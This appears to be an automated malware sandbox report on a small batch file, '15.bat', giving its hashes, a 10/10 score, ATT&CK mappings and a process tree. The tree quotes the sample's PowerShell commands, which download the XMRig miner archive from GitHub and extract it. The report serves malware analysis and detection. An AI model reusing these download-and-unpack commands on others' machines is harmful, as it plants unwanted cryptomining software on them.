c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
1565s
max time network
1566s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
20/05/2024, 18:07

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General

Target

15.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2100	powershell.exe
6	2100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2100	powershell.exe
2652	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2100	powershell.exe
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 2100	1732	cmd.exe	29
PID 1732 wrote to memory of 2100	1732	cmd.exe	29
PID 1732 wrote to memory of 2100	1732	cmd.exe	29
PID 1732 wrote to memory of 2652	1732	cmd.exe	30
PID 1732 wrote to memory of 2652	1732	cmd.exe	30
PID 1732 wrote to memory of 2652	1732	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\15.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8d12f725b8e8b9bbcab52e4ee95c5b23

SHA1
788f0ebab9baf7b00f47e8d9401a058d98830e23

SHA256
81db3778a074f65e7cf354632c43632a0c7bd65ed2a6442c302c4474764e331a

SHA512
c1b0453674d72add9bffb30a8801b15e006077bcb83e785a4b946dfb7bdb4df46b5019e1c8c6fce5eef22b41504ec08cc8c6f868e340cfaded2351950662e52c

Download Submit
memory/2100-4-0x000007FEF63CE000-0x000007FEF63CF000-memory.dmp

Filesize
4KB

Download
memory/2100-6-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2100-10-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-9-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-8-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-7-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2100-11-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-12-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2652-18-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2652-19-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download